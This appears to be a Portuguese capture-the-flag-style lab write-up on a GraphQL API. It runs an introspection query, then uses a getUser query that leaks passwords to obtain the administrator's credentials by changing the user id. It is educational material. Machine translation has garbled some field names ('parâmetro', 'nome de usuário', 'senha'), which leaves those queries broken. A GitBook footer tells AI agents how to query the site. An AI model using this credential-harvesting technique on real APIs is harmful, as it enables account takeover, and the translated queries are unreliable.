> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/graphql/accidental-exposure-of-private-graphql-fields.md).

# Exposição acidental de campos privados do GraphQL

### Exposição Acidental de Campos Privados do GraphQL

#### Contexto do laboratório

Os recursos de gerenciamento de usuários são baseados em um **GraphQL** endpoint. O laboratório contém um controle de acesso fraco: é possível **forçar a API a revelar campos sensíveis** (credenciais / senhas). / Objetivo: **Fazer login como administrador** e então **Excluir usuário `carlos`**.

#### Consulta GraphQL Observada

Uma solicitação típica do lado do cliente:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 1
  }
}
```

<figure><img src="/files/78c222bace62ceab395bf71d5830d753340aa334" alt=""><figcaption></figcaption></figure>

#### Introspecção GraphQL

A introspecção pode ser usada via uma **IntrospectionQuery** (diagrama completo: tipos, solicitações, mutations, etc.). / Requisição enviada:

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            parâmetro
        }
        mutationType {
            parâmetro
        }
        subscriptionType {
            parâmetro
        }
        types {
            ...FullType
        }
        directives {
            parâmetro
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    parâmetro
    description
    fields(includeDeprecated: true) {
        parâmetro
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        parâmetro
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    parâmetro
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    parâmetro
    ofType {
        kind
        parâmetro
        ofType {
            kind
            parâmetro
            ofType {
                kind
                parâmetro
            }
        }
    }
}
```

O servidor responde **200 OK**, o que confirma que a introspecção está habilitada.

<figure><img src="/files/402de8a962cad5c78ba87f8002984052449364b1" alt=""><figcaption></figcaption></figure>

#### Análise das Requisições no Mapa do Site

Ao enviar requisições para **Alvo → Mapa do site**, várias requisições aparecem (cerca de 5).

<figure><img src="/files/cba917afc163f08dd3f5b60af50c7f43fdeb7ce4" alt=""><figcaption></figcaption></figure>

Uma consulta se destaca: **`getUser`**.

<figure><img src="/files/ef5209ac49fb8b930bd7db131ca66512810a1898" alt=""><figcaption></figcaption></figure>

#### Exposição de Campos Privados via `getUser`

Consulta identificada:

```graphql
{
  "query": "query($id: Int!) {/n  getUser(id: $id) {/n    id/n    username/n    password/n  }/n}",
  "variables": {
    "id": 0
  }
```

<figure><img src="/files/b42834ab063eb2cfb8c605210974f1a748216242" alt=""><figcaption></figcaption></figure>

Esta consulta mostra o campo **`senha`**.

Versão equivalente em GraphQL:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    nome de usuário
    senha
  }
}
```

Ao substituir **`id: 0`** por **`id: 1`**, a API retorna o **nome de usuário** e o **senha** de `administrador`:

```json
{
  "id": 1
}
```

<figure><img src="/files/6b3e85d805d0ea70a63206840ca6148c44dd44c1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
